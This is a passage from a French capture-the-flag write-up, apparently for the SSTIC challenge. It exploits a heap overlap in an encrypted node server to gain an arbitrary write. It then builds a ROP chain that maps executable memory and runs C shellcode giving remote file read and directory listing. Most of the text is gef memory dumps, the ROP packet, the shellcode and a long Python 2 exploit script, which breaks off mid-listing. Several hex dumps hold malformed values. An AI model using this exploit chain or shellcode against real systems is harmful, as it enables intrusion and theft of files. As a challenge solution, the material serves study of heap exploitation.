0x6de4c8: 0x735c123dd894f81d 0x98d1323bd6e52e52
0x6de4d8: 0xdfa0a7d121cb91e 0x9d1323bd6e52e52
0x6de4e8: 0x06d7e6649998858a 0xf8daab775acd2f
0x6de4f8: 0xcee5eeff64b5e28a3 0xc3cfad1a7adeed45
gef> x /16gx 0x000000000006de390-8
0x6de388: 0x0000000000000041 0xd6dc15eb87dc666
0x6de398: 0x71c562c1c91c404 0x5ca921a521b1858
0x6de3a8: 0x53474a7dd7f006e9 0x0001b4b53bf57ed
0x6de3b8: 0x0000000000000000 0x0000000000000000
0x6de3c8: 0x0000000000000061 0x0000000000000000
0x6de3d8: 0xa3bc7b7f766bad 0xd105c90bccc9deb4
0x6de3e8: 0x9082d24b6be9d49e 0x98cf79224ca70915
0x6de3f8: 0x5fe2bab7878cb07e 0xedf7daa8c77df294
gef> x /16gx 0x000000000006fd20-8
0x6dfd18: 0x0000000000000241 0x960d6173d9c9c2f
0x6dfd28: 0x0000000000000000 0x0000000000000000
0x6dfd38: 0xf70ed3ea6cc46f33 0xb21726ba026b3341
0x6dfd48: 0x2ae5659e6ec0c033 0xb8ad596ec3387b5b
0x6dfd58: 0x4425a5adb12807f 0x7b952235e9dd1ec5
0x6dfd68: 0xff3725d2d79dd233 0x92483cf0adff8bb68
0x6dfd78: 0xa3844ffcc60dce7 0xaa4e295dcad46fc8
0x6dfd88: 0x0000000000000000 0x0000000000000000
gef>

```

sous noeuds

noeud

maximum alloué

nombre de sous noeud

Figure 9: table de routage




Figure 10: Zone mémoire dans le tas

Je vais donc, à partir de là, m'acharner à aligner les blocks comme je le souhaite afin d'avoir un chunk qui overlap un chunk déjà libéré, faire les **mallocs** nécessaires pour obtenir une zone mémoire à cette adresse, et ainsi obtenir une écriture en mémoire où je veux. Après quelques expérimentations, je cherche à faire ça:

0x6e0998:	0x0000000000000000241	0xaaaa0a0000000000	0x000000000000000091	0x00000000000000006de900
0x6e09a8:	0x00000000000000000000	0x00000000000000000000	0xa107cadf303fb3d6	0x70164dea6551b91b
0x6e09b8:	0xd0cd823476ff99be	0x836f5f590c09e9f2	0x89e81a4085250ae5	0xaf893858c1de6b4d
0x6e09c8:	0x7a9bcd29800eb9fd	0xb7d17def6ce3aa90	0x70fefef1ealeeaad8	0xc829fcf27c11ee67
0x6e09d8:	0xfa9574d416db7158	0xdb32d77f167867b9	0x7964748d8abdae82	0x2801ab555512f8c8
0x6e09e8:	0xec4e058cc688bbfe	0xcd4ab0c6eced136d	0xbe81ccbd10a39463	0x00000000000000000000
0x6e09f8:	0xc9161de2adc2dfe9	0xb8213d2a0986b76c	0x00000000000000000000	0x00000000000000000000
0x6e0a08:	0x00000000000000000000	0x00000000000000000000	0x00000000000000000000	0x00000000000000000000
0x6e0a18:	0x00000000000000000000	0x00000000000000000000	0x00000000000000000000	0x00000000000000000000
0x6e0a28:	0x00000000000000000000	0x00000000000000000000	0x00000000000000000061	0x00000000000000006de900
0x6e0a38:	0x00000000000000000000	0x00000000000000000000	0xa107cadf303fb3d6	0x70164dea6551b91b
0x6e0a48:	0x00000000000000000000	0x00000000000000000000	0x89e81a4085250ae5	0xaf893858c1de6b4d
0x6e0a58:	0x00000000000000000000	0x00000000000000000000	0x70fefef1ealeeaad8	0xc829fcf27c11ee67
0x6e0a68:	0x00000000000000000000	0x00000000000000000000	0x7964748d8abdae82	0x2801ab555512f8c8
0x6e0a78:	0x00000000000000000000	0x00000000000000000000	0xbe81ccbd10a39463	0x00000000000000000000
0x6e0a88:	0x00000000000000000000	0x00000000000000000000	0x000000000000000061	0x00000000000000006de900
0x6e0a98:	0x00000000000000000000	0x00000000000000000000	0xa107cadf303fb3d6	0x70164dea6551b91b
0x6e0aa8:	0x4242424242424242	0x4242424242424242	0x89e81a4085250ae5	0xaf893858c1de6b4d
0x6e0ab8:	0xd2c2c2c6f6e6e6e	0xd2c2c2c6f6e6e6e	0x70fefef1ealeeaad8	0xc829fcf27c11ee67
0x6e0ac8:	0x3133339a1c1f1fb6	0x737171d85e5d5df4	0x7964748d8abdae82	0x2801ab555512f8c8
0x6e0ad8:	0x8af4da3bbc7e39	0xa7a3618fd4d21057	0xbe81ccbd10a39463	0x00000000000000000000
0x6e0ae8:	0x3dc40c6b9530d65	0x40ad311ee70e5091	0x0000000000000061	0x000000000000006de900
0x6e0af8:	0x00000000000000000000	0x00000000000000000000	0xa107cadf303fb3d6	0x70164dea6551b91b
0x6e0b08:	0x00000000000000000000	0x00000000000000000000	0x89e81a4085250ae5	0xaf893858c1de6b4d
0x6e0b18:	0x00000000000000000000	0x00000000000000000000	0x70fefef1ealeeaad8	0xc829fcf27c11ee67
0x6e0b28:	0x00000000000000000000	0x00000000000000000000	0x7964748d8abdae82	0x2801ab555512f8c8
0x6e0b38:	0x00000000000000000000	0x00000000000000000000	0xbe81ccbd10a39463	0x00000000000000000000
0x6e0b48:	0x00000000000000000000	0x00000000000000000000	0x0000000000000061	0x000000000000006de900
0x6e0b58:	0x00000000000000000000	0x00000000000000000000	0xa107cadf303fb3d6	0x70164dea6551b91b
0x6e0b68:	0x00000000000000000000	0x00000000000000000000	0x89e81a4085250ae5	0xaf893858c1de6b4d
0x6e0b78:	0x00000000000000000000	0x00000000000000000000	0x70fefef1ealeeaad8	0xc829fcf27c11ee67
0x6e0b88:	0x00000000000000000000	0x00000000000000000000	0x7964748d8abdae82	0x2801ab555512f8c8
0x6e0b98:	0xe21d16c9e9dfc2ad	0xa3d21b86cb78609	0xbe81ccbd10a39463	0x00000000000000000000
0x6e0ba8:	0x4242424242424242	0x4242424242424242	0x0000000000000061	0x000000000000006de900
0x6e0bb8:	0x00000000000000000000	0x01000000000000000000	0xa107cadf303fb3d6	0x70164dea6551b91b
0x6e0bc8:	0x00000000000000000005	0x00000000000000000000	0x89e81a4085250ae5	0xaf893858c1de6b4d

clef AES écriture le prochain pointeur

Figure 11: alignement final

Une fois obtenu ça, il me reste un problème à résoudre, le dernier 0x61 même si je le libère, ne me sera pas restitué par un **malloc**. Ce chunk provient d'un **realloc** et n'est pas mis dans une liste d'éléments libérés. Je vais donc finir par le patcher en chunk 0x41.

Dernier problème lors du **free** d'un tel chunk, la **libc** teste la taille du prochain chunk que je patcherai en 0x61, pour éviter l'erreur "**free(): invalid next size (fast)**".

C'est bon j'ai mon écriture arbitraire, en plus j'ai un chunk de 0x41 ce qui me donne 7 mots de 64 bits pour écrire où je veux.

A partir de là, ça va aller vite :

- je teste l'écriture dans les hooks d'allocations, **realloc** me donne un contexte favorable. Je ne suis pas loin de mon dernier buffer envoyé.
- la pile n'est pas exécutable mais j'ai le droit à **mmap** dans la sandbox. Je peux donc tenter de m'allouer une zone exécutable dans l'espace mémoire du serveur.
- le binaire possède les gadgets nécessaires pour sauter dans mon buffer (dernier paquet envoyé).

```

[ code:1386:x86-64 ]
0x400f46 <agent_init+790> test    eax, eax
0x400f48 <agent_init+792> jne     0x400f7a <agent_init+842>
0x400f4a <agent_init+794> lea     rdx, [rsp+0x20]
→ 0x400f4f <agent_init+799> xor     eax, eax
0x400f51 <agent_init+801> mov     esi, 0x2
0x400f56 <agent_init+806> mov     edi, 0x16
0x400f5b <agent_init+811> call    0x456f90 <prctl>
0x400f60 <agent_init+816> cmp     eax, 0xffffffff
0x400f63 <agent_init+819> jne     0x400ebc <agent_init+652>
[ threads ]
[#0] Id 1, Name: "sstic.bin", stopped, reason: BREAKPOINT
[ trace ]
[#0] 0x400f4f → Name: agent_init()
[#1] 0x400651 → Name: main()

Breakpoint 2, 0x0000000000400f4f in agent_init ()
gef> x /60gx $rdx
0x7fffffff110: 0x0000000000000035      0x00007fffffff120
0x7fffffff120: 0x0000000400000020      0xc000003e00010015
0x7fffffff130: 0x0000000000000006      0x0000000000000020
0x7fffffff140: 0x0000000e701000015      0x7fff000000000006
0x7fffffff150: 0x0000000c01000015      0x7fff000000000006
0x7fffffff160: 0x0000000901000015      0x7fff000000000006
0x7fffffff170: 0x0000000b01000015      0x7fff000000000006
0x7fffffff180: 0x0000002901000015      0x7fff000000000006
0x7fffffff190: 0x0000003101000015      0x7fff000000000006
0x7fffffff1a0: 0x0000003201000015      0x7fff000000000006
0x7fffffff1b0: 0x000000120001000015      0x7fff000000000006
0x7fffffff1c0: 0x0000003601000015      0x7fff000000000006
0x7fffffff1d0: 0x0000002c01000015      0x7fff000000000006
0x7fffffff1e0: 0x0000002d01000015      0x7fff000000000006
0x7fffffff1f0: 0x0000001401000015      0x7fff000000000006
0x7fffffff200: 0x0000001701000015      0x7fff000000000006
0x7fffffff210: 0x0000001901000015      0x7fff000000000006
0x7fffffff220: 0x0000004801000015      0x7fff000000000006
0x7fffffff230: 0x00000010101000015      0x7fff000000000006
0x7fffffff240: 0x0000000201000015      0x7fff000000000006
0x7fffffff250: 0x0000000001000015      0x7fff000000000006
0x7fffffff260: 0x0000000301000015      0x7fff000000000006
0x7fffffff270: 0x00000004e01000015      0x7fff000000000006
0x7fffffff280: 0x0000000d901000015      0x7fff000000000006
0x7fffffff290: 0x000000020001000015      0x7fff000000000006
0x7fffffff2a0: 0x000000000101000015      0x7fff000000000006
0x7fffffff2b0: 0x000000000501000015      0x7fff000000000006
0x7fffffff2c0: 0x0003000000000006      0x0000000000041eab9
0x7fffffff2d0: 0x000000000006d71a0      0x00007fffffff320
0x7fffffff2e0: 0x0000000000000003      0x00007fffffff738
gef>

```

Figure 12: Filtre sandbox seccomp

J'écris un shellcode (en c) que j'insère dans mon buffer d'exploit. Ma chaîne de ROP alloue une zone exécutable avec **mmap**, copie mon shellcode dans cette zone, puis saute dedans.

Shellcode :

gef> x/160gx 0x00007fffffa210	gadget_add_esp_0x18
0x7fffffa210: 0xd1d3c0de414141	0x3730307261626162
0x7fffffa220: 0x0000000000454ba4	0x0000000000000006
0x7fffffa230: 0x0000043000010000	0x000000000000c0fe
0x7fffffa240: 0x000000000004083a4	0x0000000000000022
0x7fffffa250: 0x0000000000418a2d	0x0000000000000007
0x7fffffa260: 0x00000000004a30ec	0x0000000000001000
0x7fffffa270: 0x00000000000400766	0x00000000007ff000
0x7fffffa280: 0x00000000004023a2	0x00000000004023a2
0x7fffffa290: 0x000000000045323c	0x0000000000455ce0
0x7fffffa2a0: 0x0000000000454ee5	0x00000000004573f9
0x7fffffa2b0: 0x000000000048bc8a	0x0000000000400766
0x7fffffa2c0: 0x0000000000000078	0x000000000047dc8
0x7fffffa2d0: 0x00000000004083a4	0x00000000004573f9
0x7fffffa2e0: 0x000000000045a018	0x0000000000400766
0x7fffffa2f0: 0x000000000007ff000	0x0000000000454ee5
0x7fffffa300: 0x000000000001000	0x000000000047d7f9
0x7fffffa310: 0x00000000004004a0	0x00000000004017dc
0x7fffffa320: 0x000000000007ff000	0x00000000004ae59b
0x7fffffa330: 0x80ec8148e5894855	0x0009ec45c7000006
0x7fffffa340: 0x000000e845c70000	0x00000000e445c700
0x7fffffa350: 0x00454ed0d845c748	0x0047fc10d045c748
0x7fffffa360: 0x0047fc80c845c748	0x00454fa0c045c748
0x7fffffa370: 0x00454d10b845c748	0x8bfffffb90b58d48
0x7fffffa380: 0xffbad8458b48ec4d	0x89d0ffcf89000003
0x7fffffa390: 0xc69848e8458be845	0xc700fffffb900584
0x7fffffa3a0: 0x20eb00000000fc45	0x984801c083fc458b
0x7fffffa3b0: 0xfffffb900594b60f	0x0594889848fc458b
0x7fffffa3c0: 0x01fc4583fffffa90	0x453b02e883e8458b
0x7fffffa3d0: 0xe883e8458bd57ffc	0xfa900584c6984802
0x7fffffa3e0: 0xfb9085b60f00ffff	0x8d484e75463cffff
0x7fffffa3f0: 0x458b48fffffa9095	0x894800000000beb8
0x7fffffa400: 0x8d48b44589d0ffd7	0xb44d8bfffffb90b5
0x7fffffa410: 0x000400bad8458b48	0x458948d0ffcf8900
0x7fffffa420: 0xb58d48a8558b48a8	0x48ec4d8bfffffb90
0x7fffffa430: 0xe9d0fcf89c0458b	0x9085b60fffffb3c
0x7fffffa440: 0x63850f443cfffb	0xfa90958d48000001
0x7fffffa450: 0x8948d0458b48ffff	0x48a0458948d0ffd7
0x7fffffa460: 0x8d48117500a07d83	0x6f40e8000896dd3d
0x7fffffa470: 0x480000018de90000	0x48c8458b48a0558b
0x7fffffa480: 0x98458948d0ffd789	0x0b840f00987d8348
0x7fffffa490: 0x0000f845c7000001	0x01f8458304eb0000
0x7fffffa4a0: 0x48f8458b98558b48	0xc084130244b60f98
0x7fffffa4b0: 0xb60f98458b48ea75	0x45c77975043c1240
0x7fffffa4c0: 0x481eeb00000000f4	0x9848f4458b98558b
0x7fffffa4d0: 0xf4458b130254b60f	0xfff9800594889848
0x7fffffa4e0: 0xf4458b01f44583ff	0xf8458bda7cf8453b
0x7fffffa4f0: 0xffff9800584c69848	0x01c083f8458b2fff
0x7fffffa500: 0xffff9800584c69848	0x02c083f8458b0aff
0x7fffffa510: 0xffff9800584c69848	0x02c083f8458b00ff
0x7fffffa520: 0xf980b58d48d06348	0x458b48ec4d8bffff
0x7fffffa530: 0xc767ebd0ffcf89c0	0x1eeb00000000f045

Figure 13: Paquet ROP

```

1 // J'évite toute libération mémoire dans ce shellcode

3 typedef ssize_t          (*t_read_func)(int fd, void *buf, size_t count);
4 typedef DIR *            (*t_opendir_func)(const char *name);
5 typedef struct dirent * (*t_readdir_func)(DIR *dirp);
6 typedef ssize_t          (*t_write_func)(int fd, const void *buf, size_t count);
7 typedef int              (*t_open_func)(const char *pathname, int flags);
8     int function()
9 {
10     // grouik
11     int socket =9;
12
13     char recvBuff[1024];
14     int n=0;
15     int len=0;
16     char file[256];
17     // adapted to current binary
18     t_read_func wan_read      = (t_read_func)0x454ED0;
19     t_opendir_func wan_opendir = (t_opendir_func)0x47FC10;
20     t_readdir_func wan_readdir = (t_readdir_func)0x47FC80;
21     t_write_func wan_write    = (t_write_func)0x454FA0;

```

```

t_open_func wan_open          = (t_open_func)0x454D10;
23
24     while (1)
25     {
26
27
28         n = wan_read(socket , recvBuff , sizeof(recvBuff)-1);
29         recvBuff[n] = 0;
30         for (int i =0; i < n-2 ; i++)
31         {
32             file [ i]= recvBuff[1+i ];
33         }
34
35
36         file [n-2]=0x00;
37         ****
38         Read a file
39         ****
40         if (recvBuff[0] == 'F')
41         {
42             int file_fd = wan_open(file , O_RDONLY);
43             ssize_t read_len=wan_read(file_fd , recvBuff , 1024);
44             wan_write(socket ,recvBuff,read_len);
45
46         }
47         ****
48         Iter on directory
49         ****
50         else if (recvBuff[0] == 'D')
51         {
52
53             DIR *dirp;
54             struct dirent *dp;
55
56             if ((dirp = wan_opendir(file )) == NULL) {
57                 //perror("dd");
58                 continue;
59             }
60
61
62             do {
63
64                 if ((dp = wan_readdir(dirp)) != NULL) {
65
66                     int path_len =0;
67                     while ( (dp->d_name[path_len]) != 0)
68                     {
69                         path_len++;
70                     }
71                     if (dp->d_type == DT_DIR)
72                     {
73
74                         char dir[258];
75                         for (int i= 0; i < path_len;i++)
76                         {
77                             dir [ i]=dp->d_name[ i ];
78                         }
79                         dir [path_len] ='/';
80                         dir [path_len+1] ='\\n';
81                         dir [path_len+2] =0;
82                         wan_write(socket ,dir ,path_len+2);
83
84                     }
85                 else
86                 {
87                     char dir[258];
88                     for (int i= 0; i < path_len;i++)
89                     {
90                         dir [ i]=dp->d_name[ i ];
91                     }
92                     dir [path_len] ='\\n';
93                     dir [path_len+1] =0;
94                     wan_write(socket ,dir ,path_len+1);
95

```

```
97 } }
```

```
99 } while (dp != NULL);
```

```
101 }
```

```
102 else{
```

```
103     char ok[9] = {0x62,0x69,0x72,0x64,0x79,0x6E,0x61,0x6D, '\n'};
```

```
104     wan_write(socket,ok,9);
```

```
105     continue;
```

```
106 }
```

```
107 }
```

Exploit final :

```

1 #!/usr/bin/python2
from Crypto.PublicKey import RSA
3 import socket # for sockets
import sys # for exit
5 from Crypto.PublicKey import RSA
from Crypto.PublicKey.RSA import construct
7 from Crypto.Cipher import PKCS1_v1_5
import time
9 import binascii
import struct
11 import sys
import signal
13
15 exp = 0x10001
#perso_id=0x62697264796E616D
17 #perso_id=0x241
19 ##### ...
21 Code 4 rounds AES ici
22 ...
23 #####
25
27 def generate_aes_key():
    return binascii.unhexlify("42" * 16)
29
31 def generate_rsa_key():
    cli_key = RSA.generate(2048, e=65537)
    return cli_key
33
35 def decipher_packet(data, key):
36     iv=(data[:16])
37     result =""
38     key = [ord(c) for c in key]
39     data=data[16:]
40     for j,_ in enumerate(data[::16]):
41         next_iv = data[j*16:(j*16)+16]
42         aa = [ord(c) for c in next_iv]
43
44         aes_res = decrypt4rounds(aa, key)
45
46         bb = [ord(c) for c in iv]
47         res = [a ^ b for a, b in zip(aes_res, bb)]
48
49         cipher = ""
50         for r in res:
51             cipher += "%02x" % r
52         iv = next_iv
53         result+=cipher
54     result = result
55     print "[+] Decipher packet:",binascii.unhexlify(result)
56     return result
57
59
61 def cipher_packet(data, key):
62     iv=binascii.unhexlify("00"*16)
63     result =""
64
65     key = [ord(c) for c in key]
66     for j,_ in enumerate(data[::16]):
67
68         aa = [ord(c) for c in data[j*16:(j*16)+16]]
69         bb = [ord(c) for c in iv]
70         res = [a^b for a,b in zip(aa,bb)]
71
72         aes_res = encrypt4rounds(res, key)
73         cipher = ""

```

```

75     for r in aes_res:
76         cipher += "%02x" % r
77         iv = binascii.unhexlify(cipher)
78         result+=cipher
79     result = "00"*16+result
80     print "[+] Cipher packet: ",result
81     return result
82
83 def build_ping_pck(aes_server_aes_key ,data_payload,data_size ,nodeid):
84     real_data_size = ( 24 -(data_size%24))
85
86     real_data_size = data_size+real_data_size
87     total_size =real_data_size+16+0x28
88
89     size = struct.pack("<I",total_size)
90
91     data= struct.pack("<Q",0xd1d3c0de41414141)
92     data += struct.pack("<Q", 0x3730307261626162)
93     data += struct.pack(">Q", nodeid)
94     data += struct.pack(">Q", nodeid)
95     data += struct.pack("<I", 0x00000100)
96     data += struct.pack("<I", (real_data_size+0x28))
97
98     #data+=binascii.unhexlify(data_payload[ i*8,( i*8)+8])
99     for i in range(real_data_size // 8):
100        data+=binascii.unhexlify(data_payload[ i*16:( i*16)+16])
101        #data += struct.pack("<Q", 0x4343434345454545)
102
103     #print real_data_size
104     print "[+] Ping packet : " , (data) , " size :" ,(total_size)
105     data=cipher_packet(data,aes_server_aes_key)
106     return (size ,data)
107
108
109 def build_get_pck(node_id,file_name,aes_server_aes_key):
110
111     file_name_hex = ""
112     for i in file_name:
113         file_name_hex += "%02x" % ord(i)
114     # NULL terminated the string
115     file_name_hex+="00"
116     final_file_name_size = len(file_name_hex)//2
117
118
119     fill_ = 16-(final_file_name_size)
120     file_name_hex=file_name_hex+"00"*fill_
121
122
123     #print "[" , file_name_hex
124     file_name_hex=binascii.unhexlify(file_name_hex)
125     real_data_size = len(file_name_hex)
126
127
128
129
130     data= struct.pack("<Q",0xd1d3c0de41414141)
131     data += struct.pack("<Q", 0x3730307261626162)
132     data += struct.pack("<Q", node_id)
133     data += struct.pack("<Q", node_id) #0
134     data += struct.pack("<I", 0x00020204)
135     data += struct.pack("<I", (final_file_name_size+0x28))
136
137     #for i ,_ in enumerate(file_name_hex [::8]):
138     data += file_name_hex
139
140     padding=(16 - (real_data_size+0x28)%16)%16
141     for i in range(padding//8):
142         data += struct.pack("<Q", 0x0000000000000000)
143
144
145
146     total_size = real_data_size+16+0x28+padding
147     size = struct.pack("<I",total_size)
148
149

```

```

151     print "[+] GET packet : " , binascii.hexlify(data)
152     print "[+] GET packet : " , (data) , " size :" ,(total_size)
153     data=cipher_packet(data,aes_server_aes_key)
154     return (size,data)

155
156 def build_subid_pck(node_id,subnode_id,aes_server_aes_key):
157     size =0x40
158     size = struct.pack("<I",size)
159
160     data= struct.pack("<Q",0xd1d3c0de41414141)
161     data += struct.pack("<Q", 0x3730307261626162)
162     #data += struct.pack(">Q", 0x62697264796E616D)
163     data += struct.pack("<Q", subnode_id)
164     data += struct.pack("<Q", node_id)
165
166     #data += struct.pack("<Q", 0x0000000000000000)
167     data += struct.pack("<Q", 0x0000002800010000)
168     data += struct.pack("<Q", 0x0000000000000000)
169     print "[+] Id packet : " , (data)
170     data=cipher_packet(data,aes_server_aes_key)
171     return (size,data)

172 def build_id_pck(perso_id,aes_server_aes_key):
173     size =0x40
174     size = struct.pack("<I",size)
175
176     data= struct.pack("<Q",0xd1d3c0de41414141)
177     data += struct.pack("<Q", 0x3730307261626162)
178     #data += struct.pack(">Q", 0x62697264796E616D)
179     data += struct.pack("<Q", perso_id)
180     data += struct.pack("<Q", 0x0000000000000000)
181     data += struct.pack("<Q", 0x0000002800010000)
182     data += struct.pack("<Q", 0x0000000000000000)
183     print "[+] Id packet : " , (data)
184     data=cipher_packet(data,aes_server_aes_key)
185     return (size,data)
186

187
188
189 def signal_term_handler(signal , frame):
190     print 'got SIGTERM'
191     sys.exit(0)
192
193
194
195 def build_rop(node_id,subnode_id,aes_server_aes_key ,data_payload,data_size):
196     real_data_size = ( 24 -(data_size%24))
197
198     real_data_size = data_size+real_data_size
199     total_size =real_data_size+16+0x28
200
201
202     size = struct.pack("<I",total_size)
203
204
205     data= struct.pack("<Q",0xd1d3c0de41414141)
206     data += struct.pack("<Q", 0x3730307261626162)
207     data += struct.pack("<Q", subnode_id)
208     data += struct.pack("<Q", node_id)
209     data += struct.pack("<I", 0x00010000)
210     data += struct.pack("<I", (real_data_size+0x28))
211
212     #data+=binascii.unhexlify(data_payload[ i *8,( i *8)+8])
213     for i in range(real_data_size // 8):
214         #data+=binascii.unhexlify(data_payload[ i *16:(i*16)+16])
215         data+=(data_payload[ i *8:( i *8)+8])
216         #data += struct.pack("<Q", 0x4343434345454545)
217
218     #print real_data_size
219     print "[+] Ping packet : " , (data) , " size :" ,(total_size)
220     data=cipher_packet(data,aes_server_aes_key)
221     return (size,data)
222
223

```

```

225 def launch_subnode_rop(s,aes_server_aes_key,nodeid,sub_nodeid,payload,size):
226
227     perso_id = int(nodeid,16)
228     print "[*] Id :" , nodeid , hex(perso_id)
229     subperso_id = int(sub_nodeid,16)
230     print "[*] SubId :" , sub_nodeid , hex(subperso_id)
231
232
233     size,data= build_rop(perso_id,subperso_id,aes_server_aes_key,payload,size)
234     s.sendall(size)
235     s.sendall(binascii.unhexlify(data))
236
237     # get len
238     length = s.recv(4)
239     length = struct.unpack('<I',length)[0]
240     print "[+] Received len : " , length
241
242
243     data = s.recv(4096)
244     print "[+] Received data: " , binascii.hexlify(data)
245     data = decipher_packet(data,aes_key)
246
247
248 def launch_subnode(s,aes_server_aes_key,nodeid,sub_nodeid):
249
250     perso_id = int(nodeid,16)
251     print "[*] Id :" , nodeid , hex(perso_id)
252     subperso_id = int(sub_nodeid,16)
253     print "[*] SubId :" , sub_nodeid , hex(subperso_id)
254
255
256
257     size,data= build_subid_pck(perso_id,subperso_id,aes_server_aes_key)
258     s.sendall(size)
259     s.sendall(binascii.unhexlify(data))
260
261     # get len
262     length = s.recv(4)
263     length = struct.unpack('<I',length)[0]
264     print "[+] Received len : " , length
265
266
267     data = s.recv(4096)
268     print "[+] Received data: " , binascii.hexlify(data)
269     data = decipher_packet(data,aes_key)
270
271
272 def launch_c_and_c(s,aes_server_aes_key,nodeid,sub_nodeid):
273
274     perso_id = int(nodeid,16)
275     print "[*] Id :" , nodeid , hex(perso_id)
276     subperso_id = int(sub_nodeid,16)
277     print "[*] SubId :" , sub_nodeid , hex(subperso_id)
278
279
280
281     size,data= build_subid_pck(perso_id,subperso_id,aes_server_aes_key)
282     s.sendall(size)
283     s.sendall(binascii.unhexlify(data))
284
285
286
287
288 def ping(aes_server_aes_key,s,nodeid,payload,size):
289     perso_id = int(nodeid,16)
290     print "[*] Id :" , nodeid , hex(perso_id)
291     size,data = build_ping_pck(aes_server_aes_key,payload,size,perso_id)
292     s.sendall(size)
293     s.sendall(binascii.unhexlify(data))
294
295     # get len
296     print "[+] Ping sent : "
297     length = s.recv(4)
298     length = struct.unpack('<I',length)[0]
299     print "[+] Received len : " , length

```

```

301     data = s.recv(4096)
302     print "[+] Received data: ", binascii.hexlify(data)
303     data = decipher_packet(data, aes_key)

305
306     def build_get(aes_server_aes_key, s, nodeid, file):
307         perso_id = int(nodeid,16)
308         print "[*] Id : " , nodeid , hex(perso_id)
309         size,data = build_get_pck(perso_id,file,aes_server_aes_key)
310         s.sendall(size)
311         s.sendall(binascii.unhexlify(data))
312         # get len
313         #print "[+] Get sent : "
314         #length = s.recv(4)
315         #length = struct.unpack('<I',length)[0]
316         #print "[+] Received len : ", length
317         #data = s.recv(4096)
318         #print "[+] Received data: ", binascii.hexlify(data)
319         #data = decipher_packet(data,aes_key)

321
322     def launch_node(aes_key, nodeid, host, port):
323         print "[*] Connect to " , host , " port " , port
324         perso_id = int(nodeid,16)
325         print "[*] Id : " , nodeid , hex(perso_id)

326         key = generate_rsa_key()
327         #aes_key = generate_aes_key()
328         #aes_key =binascii.unhexlify("%016x" % int(sys.argv[4],16))
329         #exit
330         print("[+] AES key: " + binascii.hexlify(aes_key))
331         # create an AF_INET, STREAM socket (TCP)

332         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
333         s.connect((host, int(port)))
334         # send my public key
335         mypubkey = binascii.unhexlify("%0512x"%(key.publickey().n))
336         print "[+] Pub key: " , "%0512x"%(key.publickey().n)

337         s.send(mypubkey)
338         # receive server pub key
339         server_pubkey = s.recv(4096)

340         server_pubkey = construct((int(binascii.hexlify(server_pubkey), 16), 65537L))
341         p = PKCS1_v1_5.new(server_pubkey)
342         protect_aes_key_sent =p.encrypt(aes_key)
343         s.sendall(protect_aes_key_sent)
344         # receive server key
345         aes_server_key = s.recv(4096)

346         key= PKCS1_v1_5.new(key)
347         sentinel="prout"
348         aes_server_aes_key = key.decrypt(aes_server_key,sentinel)

349         print("[+] AES server key: " + binascii.hexlify(aes_server_aes_key))

350
351         # ID
352         size,data= build_id_pck(perso_id,aes_server_aes_key)
353         s.sendall(size)
354         s.sendall(binascii.unhexlify(data))

355
356         # get len
357         length = s.recv(4)
358         length = struct.unpack('<I',length)[0]
359         print "[+] Received len : " , length

360
361         data = s.recv(4096)
362         print "[+] Received data: " , binascii.hexlify(data)
363         data = decipher_packet(data,aes_key)

364

```

```

375     # Ping
376     # size ,data= build_ping_pck(0x8)
377     # s.sendall(size)
378     # s.sendall(binascii.unhexlify(data))
379
381
382     # get len
383     # length = s.recv(4)
384     # length = struct.unpack('<I',length)[0]
385     # print "[+] Received len : ", length
386
387     # data = s.recv(4096)
388     # print "[+] Received data: ", binascii.hexlify(data)
389     ##### data = decipher_packet(data,aes_key)
390
391
392
393     ##### size ,data= build_get_pck("/tmp/tyty")
394     ## s.sendall(size)
395     # s.sendall(binascii.unhexlify(data))
396
397
398
399     return (s,aes_server_aes_key)
400
401
402
403 if __name__ == "__main__":
404     signal.signal(signal.SIGTERM, signal_term_handler)
405     signal.signal(signal.SIGINT, signal_term_handler)
406
407     # NODE 1
408     nodeid1      = "00000000000000000001"
409     _1subnode1   = "01000000000000000001"
410     _1subnode2   = "02000000000000000001"
411     _1subnode3   = "03000000000000000001"
412     _1subnode4   = "04000000000000000001"
413     _1subnode5   = "05000000000000000001"
414     _1subnode6   = "06000000000000000001"
415     _1subnode7   = "07000000000000000001"
416     _1subnode8   = "08000000000000000001"
417     _1subnode9   = "09000000000000000001"
418     _1subnode10  = "10000000000000000001"
419     _1subnode11  = "11000000000000000001"
420     _1subnode12  = "12000000000000000001"
421     _1subnode13  = "13000000000000000001"
422
423     _1subnode_list = [_1subnode1,_1subnode2,_1subnode3,_1subnode4,_1subnode5,_1subnode6,_1subnode7,
424     _1subnode8,_1subnode9,_1subnode10,_1subnode11,_1subnode12,_1subnode13]
425
426     # NODE 2
427     nodeid2      = "00000000000000000002"
428     _2subnode1   = "01000000000000000002"
429     _2subnode2   = "02000000000000000002"
430     _2subnode3   = "03000000000000000002"
431     _2subnode4   = "04000000000000000002"
432     _2subnode5   = "05000000000000000002"
433     _2subnode6   = "06000000000000000002"
434     _2subnode7   = "07000000000000000002"
435     _2subnode8   = "08000000000000000002"
436     _2subnode9   = "09000000000000000002"
437     _2subnode10  = "10000000000000000002"
438     _2subnode11  = "11000000000000000002"
439     _2subnode12  = "00000000000000241"  # here the 0x91 will be updated to 0x241, overlap !!!
440     _2subnode_list = [_2subnode1,_2subnode2,_2subnode3,_2subnode4,_2subnode5,_2subnode6,_2subnode7,
441     _2subnode8,_2subnode9,_2subnode10,_2subnode11,_2subnode12]
442
443     nodeid3      = "00000000000000000003"
444     _3subnode1   = "01000000000000000003"
445     _3subnode2   = "02000000000000000003"
446     _3subnode3   = "03000000000000000003"
447     _3subnode4   = "04000000000000000003"
448     _3subnode5   = "05000000000000000003"

```

```

449     _3subnode6      = "060000000000000003"
450     _3subnode7      = "070000000000000003"
451     _3subnode8      = "080000000000000003"
452     _3subnode_list = [_3subnode1,_3subnode2,_3subnode3,_3subnode4,_3subnode5,_3subnode6,_3subnode7,
453     _3subnode8]

454
455     nodeid4        = "0000000000000004"
456     _4subnode1      = "0100000000000004"
457     _4subnode2      = "0200000000000004"
458     _4subnode3      = "0300000000000004"
459     _4subnode4      = "0400000000000004"
460     _4subnode5      = "0500000000000004"
461     _4subnode6      = "0600000000000004"
462     _4subnode7      = "0700000000000004"
463     _4subnode8      = "0800000000000004"
464     _4subnode_list = [_4subnode1,_4subnode2,_4subnode3,_4subnode4,_4subnode5,_4subnode6,_4subnode7,
465     _4subnode8]

466
467     nodeid5        = "0000000000000005"
468     _5subnode1      = "0100000000000005"
469     _5subnode2      = "0200000000000005"
470     _5subnode3      = "0300000000000005"
471     _5subnode4      = "0400000000000005"
472     _5subnode5      = "0500000000000005"
473     _5subnode6      = "0600000000000005"
